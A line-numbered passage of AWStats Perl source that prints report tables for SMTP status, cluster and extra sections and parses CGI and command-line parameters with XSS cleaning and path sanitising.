( 16739 $httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' ) 16740 . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>" 16741 . Format_Bytes( $_errors_k{$key} ) . "</td>"; 16742 print "</tr>\n"; 16743 $total_h += $_errors_h{$key}; 16744 $count++; 16745 } 16746 &tab_end("* $Message[154]"); 16747} 16748 16749#------------------------------------------------------------------------------ 16750# Function: Prints the Status codes chart and table 16751# Parameters: $NewLinkParams, $NewLinkTarget 16752# Input: - 16753# Output: HTML 16754# Return: - 16755#------------------------------------------------------------------------------ 16756sub HTMLMainSMTPStatus{ 16757 my $NewLinkParams = shift; 16758 my $NewLinkTarget = shift; 16759 16760 if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); } 16761 print "$Center<a name=\"errors\"> </a><br />\n"; 16762 my $title = "$Message[147]"; 16763 &tab_head( "$title", 19, 0, 'errors' ); 16764 print 16765"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n"; 16766 my $total_h = 0; 16767 my $count = 0; 16768 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h ); 16769 16770 foreach my $key (@keylist) { 16771 my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; 16772 print "<tr" . Tooltip( $key, $key ) . ">"; 16773 print "<td valign=\"top\">$key</td>"; 16774 print "<td class=\"aws\">" 16775 . ( 16776 $smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' ) 16777 . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>" 16778 . Format_Bytes( $_errors_k{$key} ) . "</td>"; 16779 print "</tr>\n"; 16780 $total_h += $_errors_h{$key}; 16781 $count++; 16782 } 16783 &tab_end(); 16784} 16785 16786#------------------------------------------------------------------------------ 16787# Function: Prints the cluster information chart and table 16788# Parameters: $NewLinkParams, $NewLinkTarget 16789# Input: - 16790# Output: HTML 16791# Return: - 16792#------------------------------------------------------------------------------ 16793sub HTMLMainCluster{ 16794 my $NewLinkParams = shift; 16795 my $NewLinkTarget = shift; 16796 16797 if ($Debug) { debug( "ShowClusterStats", 2 ); } 16798 print "$Center<a name=\"clusters\"> </a><br />\n"; 16799 my $title = "$Message[155]"; 16800 16801 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 16802 # extend the title to include the added link 16803 $title .= " - <a href=\"" . (XMLEncode( 16804 "$AddLinkToExternalCGIWrapper" . "?section=CLUSTER&baseName=$DirData/$PROG" 16805 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 16806 . "&siteConfig=$SiteConfig" ) 16807 . "\"$NewLinkTarget>$Message[179]</a>"); 16808 } 16809 16810 &tab_head( "$title", 19, 0, 'clusters' ); 16811 16812 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_cluster_p, \%_cluster_p ); 16813 16814 # Graph the top five in a pie chart 16815 if (scalar @keylist > 1){ 16816 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 16817 { 16818 my @blocklabel = (); 16819 my @valdata = (); 16820 my @valcolor = ($color_p); 16821 my $cnt = 0; 16822 foreach my $key (@keylist) { 16823 push @valdata, int( $_cluster_p{$key} / $TotalHits * 1000 ) / 10; 16824 push @blocklabel, "$key"; 16825 $cnt++; 16826 if ($cnt > 4) { last; } 16827 } 16828 print "<tr><td colspan=\"7\">"; 16829 my $function = "ShowGraph_$pluginname"; 16830 &$function( 16831 "$title", "cluster", 16832 0, \@blocklabel, 16833 0, \@valcolor, 16834 0, 0, 16835 0, \@valdata 16836 ); 16837 print "</td></tr>"; 16838 } 16839 } 16840 16841 print 16842 "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>"; 16843 &HTMLShowClusterInfo('__title__'); 16844 if ( $ShowClusterStats =~ /P/i ) { 16845 print 16846"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; 16847 } 16848 if ( $ShowClusterStats =~ /H/i ) { 16849 print 16850"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; 16851 } 16852 if ( $ShowClusterStats =~ /B/i ) { 16853 print 16854"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; 16855 } 16856 print "</tr>\n"; 16857 my $total_p = my $total_h = my $total_k = 0; 16858 16859# Cluster feature might have been enable in middle of month so we recalculate 16860# total for cluster section only, to calculate ratio, instead of using global total 16861 foreach my $key (@keylist) { 16862 $total_p += int( $_cluster_p{$key} || 0 ); 16863 $total_h += int( $_cluster_h{$key} || 0 ); 16864 $total_k += int( $_cluster_k{$key} || 0 ); 16865 } 16866 my $count = 0; 16867 foreach my $key (@keylist) { 16868 my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10; 16869 my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10; 16870 my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10; 16871 print "<tr>"; 16872 print "<td class=\"aws\">Computer $key</td>"; 16873 &HTMLShowClusterInfo($key); 16874 if ( $ShowClusterStats =~ /P/i ) { 16875 print "<td>" 16876 . ( $_cluster_p{$key} ? Format_Number($_cluster_p{$key}) : " " ) 16877 . "</td><td>$p_p %</td>"; 16878 } 16879 if ( $ShowClusterStats =~ /H/i ) { 16880 print "<td>".Format_Number($_cluster_h{$key})."</td><td>$p_h %</td>"; 16881 } 16882 if ( $ShowClusterStats =~ /B/i ) { 16883 print "<td>" 16884 . Format_Bytes( $_cluster_k{$key} ) 16885 . "</td><td>$p_k %</td>"; 16886 } 16887 print "</tr>\n"; 16888 $count++; 16889 } 16890 &tab_end(); 16891} 16892 16893#------------------------------------------------------------------------------ 16894# Function: Prints a chart or table for each extra section 16895# Parameters: $NewLinkParams, $NewLinkTarget, $extranum 16896# Input: - 16897# Output: HTML 16898# Return: - 16899#------------------------------------------------------------------------------ 16900sub HTMLMainExtra{ 16901 my $NewLinkParams = shift; 16902 my $NewLinkTarget = shift; 16903 my $extranum = shift; 16904 16905 if ($Debug) { debug( "ExtraName$extranum", 2 ); } 16906 print "$Center<a name=\"extra$extranum\"> </a><br />"; 16907 my $title = $ExtraName[$extranum]; 16908 &tab_head( "$title", 19, 0, "extra$extranum" ); 16909 print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; 16910 print "<th>" . $ExtraFirstColumnTitle[$extranum]; 16911 print " - <a href=\"" 16912 . ( 16913 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 16914 ? XMLEncode( 16915 "$AWScript${NewLinkParams}output=allextra$extranum") 16916 : "$StaticLinks.allextra$extranum.$StaticExt" 16917 ) 16918 . "\"$NewLinkTarget>$Message[80]</a>"; 16919 16920 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 16921 print " - <a href=\"" 16922 . (XMLEncode( 16923 "$AddLinkToExternalCGIWrapper" . "?section=EXTRA_$extranum&baseName=$DirData/$PROG" 16924 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 16925 . "§ionTitle=$ExtraName[$extranum]&siteConfig=$SiteConfig" ) 16926 . "\"$NewLinkTarget>$Message[179]</a>"); 16927 } 16928 16929 print "</th>"; 16930 16931 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 16932 print 16933 "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; 16934 } 16935 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 16936 print 16937 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 16938 } 16939 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 16940 print 16941 "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 16942 } 16943 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 16944 print "<th width=\"120\">$Message[9]</th>"; 16945 } 16946 print "</tr>\n"; 16947 my $total_p = my $total_h = my $total_k = 0; 16948 16949 #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } } 16950 #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } } 16951 my $count = 0; 16952 if ( $MaxNbOfExtra[$extranum] ) { 16953 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 16954 &BuildKeyList( 16955 $MaxNbOfExtra[$extranum], 16956 $MinHitExtra[$extranum], 16957 \%{ '_section_' . $extranum . '_h' }, 16958 \%{ '_section_' . $extranum . '_p' } 16959 ); 16960 } 16961 else { 16962 &BuildKeyList( 16963 $MaxNbOfExtra[$extranum], 16964 $MinHitExtra[$extranum], 16965 \%{ '_section_' . $extranum . '_h' }, 16966 \%{ '_section_' . $extranum . '_h' } 16967 ); 16968 } 16969 } 16970 else { 16971 @keylist = (); 16972 } 16973 my %keysinkeylist = (); 16974 foreach my $key (@keylist) { 16975 $keysinkeylist{$key} = 1; 16976 my $firstcol = CleanXSS( DecodeEncodedString($key) ); 16977 $total_p += ${ '_section_' . $extranum . '_p' }{$key}; 16978 $total_h += ${ '_section_' . $extranum . '_h' }{$key}; 16979 $total_k += ${ '_section_' . $extranum . '_k' }{$key}; 16980 print "<tr>"; 16981 printf( 16982 "<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>", 16983 $firstcol, $firstcol, $firstcol, $firstcol, $firstcol ); 16984 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 16985 print "<td>" 16986 . ${ '_section_' . $extranum . '_p' }{$key} . "</td>"; 16987 } 16988 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 16989 print "<td>" 16990 . ${ '_section_' . $extranum . '_h' }{$key} . "</td>"; 16991 } 16992 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 16993 print "<td>" 16994 . Format_Bytes( 16995 ${ '_section_' . $extranum . '_k' }{$key} ) 16996 . "</td>"; 16997 } 16998 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 16999 print "<td>" 17000 . ( 17001 ${ '_section_' . $extranum . '_l' }{$key} 17002 ? Format_Date( 17003 ${ '_section_' . $extranum . '_l' }{$key}, 1 ) 17004 : '-' 17005 ) 17006 . "</td>"; 17007 } 17008 print "</tr>\n"; 17009 $count++; 17010 } 17011 17012 # If we ask average or sum, we loop on all other records 17013 if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] ) 17014 { 17015 foreach ( keys %{ '_section_' . $extranum . '_h' } ) { 17016 if ( $keysinkeylist{$_} ) { next; } 17017 $total_p += ${ '_section_' . $extranum . '_p' }{$_}; 17018 $total_h += ${ '_section_' . $extranum . '_h' }{$_}; 17019 $total_k += ${ '_section_' . $extranum . '_k' }{$_}; 17020 $count++; 17021 } 17022 } 17023 17024 # Add average row 17025 if ( $ExtraAddAverageRow[$extranum] ) { 17026 print "<tr>"; 17027 print "<td class=\"aws\"><b>$Message[96]</b></td>"; 17028 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 17029 print "<td>" 17030 . ( $count ? Format_Number(( $total_p / $count )) : " " ) . "</td>"; 17031 } 17032 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 17033 print "<td>" 17034 . ( $count ? Format_Number(( $total_h / $count )) : " " ) . "</td>"; 17035 } 17036 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 17037 print "<td>" 17038 . ( 17039 $count ? Format_Bytes( $total_k / $count ) : " " ) 17040 . "</td>"; 17041 } 17042 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 17043 print "<td> </td>"; 17044 } 17045 print "</tr>\n"; 17046 } 17047 17048 # Add sum row 17049 if ( $ExtraAddSumRow[$extranum] ) { 17050 print "<tr>"; 17051 print "<td class=\"aws\"><b>$Message[102]</b></td>"; 17052 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 17053 print "<td>" . Format_Number(($total_p)) . "</td>"; 17054 } 17055 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 17056 print "<td>" . Format_Number(($total_h)) . "</td>"; 17057 } 17058 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 17059 print "<td>" . Format_Bytes($total_k) . "</td>"; 17060 } 17061 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 17062 print "<td> </td>"; 17063 } 17064 print "</tr>\n"; 17065 } 17066 &tab_end(); 17067} 17068 17069#------------------------------------------------------------------------------ 17070# MAIN 17071#------------------------------------------------------------------------------ 17072( $DIR = $0 ) =~ s/([^\/\\]+)$//; 17073( $PROG = $1 ) =~ s/\.([^\.]*)$//; 17074$Extension = $1; 17075$DIR ||= '.'; 17076$DIR =~ s/([^\/\\])[\\\/]+$/$1/; 17077 17078$starttime = time(); 17079 17080# Get current time (time when AWStats was started) 17081( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday ) 17082 = localtime($starttime); 17083$nowweekofmonth = int( $nowday / 7 ); 17084$nowweekofyear = 17085 int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1; 17086if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; } 17087$nowdaymod = $nowday % 7; 17088$nowwday++; 17089$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear ); 17090 17091if ( $nowdaymod <= $nowwday ) { 17092 if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) { 17093 $nowweekofmonth = $nowweekofmonth + 1; 17094 } 17095} 17096if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; } 17097 17098# Change format of time variables 17099$nowweekofmonth = "0$nowweekofmonth"; 17100if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; } 17101if ( $nowyear < 100 ) { $nowyear += 2000; } 17102else { $nowyear += 1900; } 17103$nowsmallyear = $nowyear; 17104$nowsmallyear =~ s/^..//; 17105if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; } 17106if ( $nowday < 10 ) { $nowday = "0$nowday"; } 17107if ( $nowhour < 10 ) { $nowhour = "0$nowhour"; } 17108if ( $nowmin < 10 ) { $nowmin = "0$nowmin"; } 17109if ( $nowsec < 10 ) { $nowsec = "0$nowsec"; } 17110$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec ); 17111 17112# Get tomorrow time (will be used to discard some record with corrupted date (future date)) 17113my ( 17114 $tomorrowsec, $tomorrowmin, $tomorrowhour, 17115 $tomorrowday, $tomorrowmonth, $tomorrowyear 17116 ) 17117 = localtime( $starttime + 86400 ); 17118if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; } 17119else { $tomorrowyear += 1900; } 17120if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; } 17121if ( $tomorrowday < 10 ) { $tomorrowday = "0$tomorrowday"; } 17122if ( $tomorrowhour < 10 ) { $tomorrowhour = "0$tomorrowhour"; } 17123if ( $tomorrowmin < 10 ) { $tomorrowmin = "0$tomorrowmin"; } 17124if ( $tomorrowsec < 10 ) { $tomorrowsec = "0$tomorrowsec"; } 17125$tomorrowtime = 17126 int( $tomorrowyear 17127 . $tomorrowmonth 17128 . $tomorrowday 17129 . $tomorrowhour 17130 . $tomorrowmin 17131 . $tomorrowsec ); 17132 17133# Allowed option 17134my @AllowedCLIArgs = ( 17135 'migrate', 'config', 17136 'logfile', 'output', 17137 'runascli', 'update', 17138 'staticlinks', 'staticlinksext', 17139 'noloadplugin', 'loadplugin', 17140 'hostfilter', 'urlfilter', 17141 'refererpagesfilter', 'lang', 17142 'month', 'year', 17143 'framename', 'debug', 17144 'showsteps', 'showdropped', 17145 'showcorrupted', 'showunknownorigin', 17146 'showdirectorigin', 'limitflush', 17147 'nboflastupdatelookuptosave', 17148 'confdir', 'updatefor', 17149 'hostfilter', 'hostfilterex', 17150 'urlfilter', 'urlfilterex', 17151 'refererpagesfilter', 'refererpagesfilterex', 17152 'pluginmode', 'filterrawlog' 17153); 17154 17155# Parse input parameters and sanitize them for security reasons 17156$QueryString = ''; 17157 17158# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can 17159# be set to force AWStats to be ran as CLI even from a web page. 17160if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; } 17161if ( $ENV{'GATEWAY_INTERFACE'} ) { # Run from a browser as CGI 17162 $DebugMessages = 0; 17163 17164 # Prepare QueryString 17165 if ( $ENV{'CONTENT_LENGTH'} ) { 17166 binmode STDIN; 17167 read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} ); 17168 } 17169 if ( $ENV{'QUERY_STRING'} ) { 17170 $QueryString = $ENV{'QUERY_STRING'}; 17171 17172 # Set & and & to & 17173 $QueryString =~ s/&/&/g; 17174 $QueryString =~ s/&/&/g; 17175 } 17176 17177 # Remove all XSS vulnerabilities coming from AWStats parameters 17178 $QueryString = CleanXSS( &DecodeEncodedString($QueryString) ); 17179 17180 # Security test 17181 if ( $QueryString =~ /LogFile=([^&]+)/i ) { 17182 error( 17183"Logfile parameter can't be overwritten when AWStats is used from a CGI" 17184 ); 17185 } 17186 17187 # No update but report by default when run from a browser 17188 $UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 ); 17189 17190 if ( $QueryString =~ /config=([^&]+)/i ) { 17191 $SiteConfig = &Sanitize("$1"); 17192 } 17193 if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; } 17194 if ( $QueryString =~ /pluginmode=([^&]+)/i ) { 17195 $PluginMode = &Sanitize( "$1", 1 ); 17196 } 17197 if ( $QueryString =~ /configdir=([^&]+)/i ) { 17198 $DirConfig = &Sanitize("$1"); 17199 $DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL 17200 $DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL 17201 } 17202 17203 # All filters 17204 if ( $QueryString =~ /hostfilter=([^&]+)/i ) { 17205 $FilterIn{'host'} = "$1"; 17206 } # Filter on host list can also be defined with hostfilter=filter 17207 if ( $QueryString =~ /hostfilterex=([^&]+)/i ) { 17208 $FilterEx{'host'} = "$1"; 17209 } # 17210 if ( $QueryString =~ /urlfilter=([^&]+)/i ) { 17211 $FilterIn{'url'} = "$1"; 17212 } # Filter on URL list can also be defined with urlfilter=filter 17213 if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } # 17214 if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) { 17215 $FilterIn{'refererpages'} = "$1"; 17216 } # Filter on referer list can also be defined with refererpagesfilter=filter 17217 if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) { 17218 $FilterEx{'refererpages'} = "$1"; 17219 } # 17220 # All output 17221 if ( $QueryString =~ /output=allhosts:([^&]+)/i ) { 17222 $FilterIn{'host'} = "$1"; 17223 } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed 17224 if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) { 17225 $FilterIn{'host'} = "$1"; 17226 } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed 17227 if ( $QueryString =~ /output=urldetail:([^&]+)/i ) { 17228 $FilterIn{'url'} = "$1"; 17229 } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed 17230 if ( $QueryString =~ /output=refererpages:([^&]+)/i ) { 17231 $FilterIn{'refererpages'} = "$1"; 17232 } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed 17233 17234 # If migrate 17235 if ( $QueryString =~ /(^|-|&|&)migrate=([^&]+)/i ) { 17236 $MigrateStats = &Sanitize("$2"); 17237 17238 $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/; 17239 $SiteConfig = &Sanitize($5 ? $5 : 'xxx'); 17240 $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file 17241 } 17242 17243 $SiteConfig =~ s/\.\.//g; # Avoid directory transversal 17244} 17245else { # Run from command line 17246 $DebugMessages = 1; 17247 17248 # Prepare QueryString 17249 for ( 0 .. @ARGV - 1 ) { 17250 17251 # If migrate 17252 if ( $ARGV[$_] =~ /(^|-|&|&)migrate=([^&]+)/i ) { 17253 $MigrateStats = &Sanitize("$2"); 17254 17255 $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/; 17256 $SiteConfig = &Sanitize($5 ? $5 : 'xxx'); 17257 $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file 17258 next; 17259 } 17260 17261 # TODO Check if ARGV is in @AllowedArg 17262 if ($QueryString) { $QueryString .= '&'; } 17263 my $NewLinkParams = $ARGV[$_]; 17264 $NewLinkParams =~ s/^-+//; 17265 $QueryString .= "$NewLinkParams"; 17266 } 17267 17268 # Remove all XSS vulnerabilities coming from AWStats parameters 17269 $QueryString = CleanXSS($QueryString); 17270 17271 # Security test 17272 if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} 17273 && $QueryString =~ /LogFile=([^&]+)/i ) 17274 { 17275 error( 17276"Logfile parameter can't be overwritten when AWStats is used from a CGI" 17277 ); 17278 } 17279 17280 # Update with no report by default when run from command line 17281 $UpdateStats = 1; 17282 17283 if ( $QueryString =~ /config=([^&]+)/i ) { 17284 $SiteConfig = &Sanitize("$1"); 17285 } 17286 if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; } 17287 if ( $QueryString =~ /pluginmode=([^&]+)/i ) { 17288 $PluginMode = &Sanitize( "$1", 1 ); 17289 } 17290 if ( $QueryString =~ /configdir=([^&]+)/i ) { 17291 $DirConfig = &Sanitize("$1"); 17292 $DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL 17293 $DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL 17294 } 17295 17296 # All filters 17297 if ( $QueryString =~ /hostfilter=([^&]+)/i ) { 17298 $FilterIn{'host'} = "$1"; 17299 } # Filter on host list can also be defined with hostfilter=filter 17300 if ( $QueryString =~ /hostfilterex=([^&]+)/i ) { 17301 $FilterEx{'host'} = "$1"; 17302 } # 17303 if ( $QueryString =~ /urlfilter=([^&]+)/i ) { 17304 $FilterIn{'url'} = "$1"; 17305 } # Filter on URL list can also be defined with urlfilter=filter 17306 if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } # 17307 if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) { 17308 $FilterIn{'refererpages'} = "$1"; 17309 } # Filter on referer list can also be defined with refererpagesfilter=filter 17310 if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) { 17311 $FilterEx{'refererpages'} = "$1"; 17312 } # 17313 # All output 17314 if ( $QueryString =~ /output=allhosts:([^&]+)/i ) { 17315 $FilterIn{'host'} = "$1"; 17316 } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed 17317 if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) { 17318 $FilterIn{'host'} = "$1"; 17319 } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed 17320 if ( $QueryString =~ /output=urldetail:([^&]+)/i ) { 17321 $FilterIn{'url'} = "$1"; 17322 } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed 17323 if ( $QueryString =~ /output=refererpages:([^&]+)/i ) { 17324 $FilterIn{'refererpages'} = "$1"; 17325 } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed 17326 # Config parameters 17327 if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; } 17328 17329 # If show options 17330 if ( $QueryString =~ /showsteps/i ) { 17331 $ShowSteps = 1; 17332 $QueryString =~ s/showsteps[^&]*//i; 17333 } 17334 if ( $QueryString =~ /showcorrupted/i ) { 17335 $ShowCorrupted = 1; 17336 $QueryString =~ s/showcorrupted[^&]*//i; 17337 } 17338 if ( $QueryString =~ /showdropped/i ) { 17339 $ShowDropped = 1; 17340 $QueryString =~ s/showdropped[^&]*//i; 17341 } 17342 if ( $QueryString =~ /showunknownorigin/i ) { 17343 $ShowUnknownOrigin = 1; 17344 $QueryString =~ s/showunknownorigin[^&]*//i; 17345 } 17346 if ( $QueryString =~ /showdirectorigin/i ) { 17347 $ShowDirectOrigin = 1; 17348 $QueryString =~ s/showdirectorigin[^&]*//i; 17349 } 17350 17351 $SiteConfig =~ s/\.\.//g; 17352} 17353if ( $QueryString =~ /(^|&|&)staticlinks/i ) { 17354 $StaticLinks = "$PROG.$SiteConfig"; 17355} 17356if ( $QueryString =~ /(^|&|&)staticlinks=([^&]+)/i ) { 17357 $StaticLinks = "$2"; 17358} # When ran from awstatsbuildstaticpages.pl 17359if ( $QueryString =~ /(^|&|&)staticlinksext=([^&]+)/i ) { 17360 $StaticExt = "$2"; 17361} 17362if ( $QueryString =~ /(^|&|&)framename=([^&]+)/i ) { $FrameName = "$2"; } 17363if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { $Debug = $2; } 17364if ( $QueryString =~ /(^|&|&)databasebreak=(\w+)/i ) { 17365 $DatabaseBreak = $2; 17366} 17367if ( $QueryString =~ /(^|&|&)updatefor=(\d+)/i ) { $UpdateFor = $2; } 17368 17369if ( $QueryString =~ /(^|&|&)noloadplugin=([^&]+)/i ) { 17370 foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; } 17371} 17372if ( $QueryString =~ /(^|&|&)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; } 17373if ( $QueryString =~ /(^|&|&)nboflastupdatelookuptosave=(\d+)/i ) { $NBOFLASTUPDATELOOKUPTOSAVE = $2; } 17374 17375# Get/Define output 17376if ( $QueryString =~ 17377 /(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i ) 17378{ 17379 error( "Only 1 output option is allowed", "", "", 1 ); 17380} 17381if ( $QueryString =~ /(^|&|&)output(=[^&]*|)(&|$)/i ) { 17382 17383 # At least one output expected. We define %HTMLOutput 17384 my $outputlist = "$2"; 17385 if ($outputlist) { 17386 $outputlist =~ s/^=//; 17387 foreach my $outputparam ( split( /,/, $outputlist ) ) { 17388 $outputparam =~ s/:(.*)$//; 17389 if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; } 17390 } 17391 } 17392 17393 # If on command line and no update 17394 if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) { 17395 $UpdateStats = 0; 17396 } 17397 17398 # If no output defined, used default value 17399 if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; } 17400} 17401if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) { 17402 $HTMLOutput{'main'} = 1; 17403} 17404 17405# Remove -output option with no = from QueryString 17406$QueryString =~ s/(^|&|&)output(&|$)/$1$2/i; 17407$QueryString =~ s/&+$//; 17408 17409# Check year, month, day, hour parameters 17410if ( $QueryString =~ /(^|&|&)month=(year)/i ) { 17411 error("month=year is a deprecated option. Use month=all instead."); 17412} 17413if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) { 17414 $YearRequired = sprintf( "%04d", $2 ); 17415} 17416else { $YearRequired = "$nowyear"; } 17417if ( $QueryString =~ /(^|&|&)month=(\d{1,2})/i ) { 17418 $MonthRequired = sprintf( "%02d", $2 ); 17419} 17420elsif ( $QueryString =~ /(^|&|&)month=(all)/i ) { $MonthRequired = 'all'; } 17421else { $MonthRequired = "$nowmonth"; } 17422if ( $QueryString =~ /(^|&|&)day=(\d{1,2})/i ) { 17423 $DayRequired = sprintf( "%02d", $2 ); 17424} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day. 17425else { $DayRequired = ''; } 17426if ( $QueryString =~ /(^|&|&)hour=(\d{1,2})/i ) { 17427 $HourRequired = sprintf( "%02d", $2 ); 17428} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day. 17429else { $HourRequired = ''; } 17430 17431# Check parameter validity 17432# TODO 17433 17434# Print AWStats and Perl version 17435if ($Debug) { 17436 debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 ); 17437 debug( "DIR=$DIR PROG=$PROG Extension=$Extension", 2 ); 17438 debug( "QUERY_STRING=$QueryString", 2 ); 17439 debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 ); 17440 debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 ); 17441 debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 ); 17442 debug( "UpdateFor=$UpdateFor", 2 ); 17443 debug( "PluginMode=$PluginMode", 2 ); 17444 debug( "DirConfig=$DirConfig", 2 ); 17445} 17446 17447# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined 17448if ( $ENV{'AWSTATS_CONFIG'} ) { 17449 $ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'}; 17450} # For backward compatibility 17451if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) { 17452 if ($Debug) { 17453 debug( "AWSTATS_FORCE_CONFIG parameter is defined to '" 17454 . $ENV{'AWSTATS_FORCE_CONFIG'} 17455 . 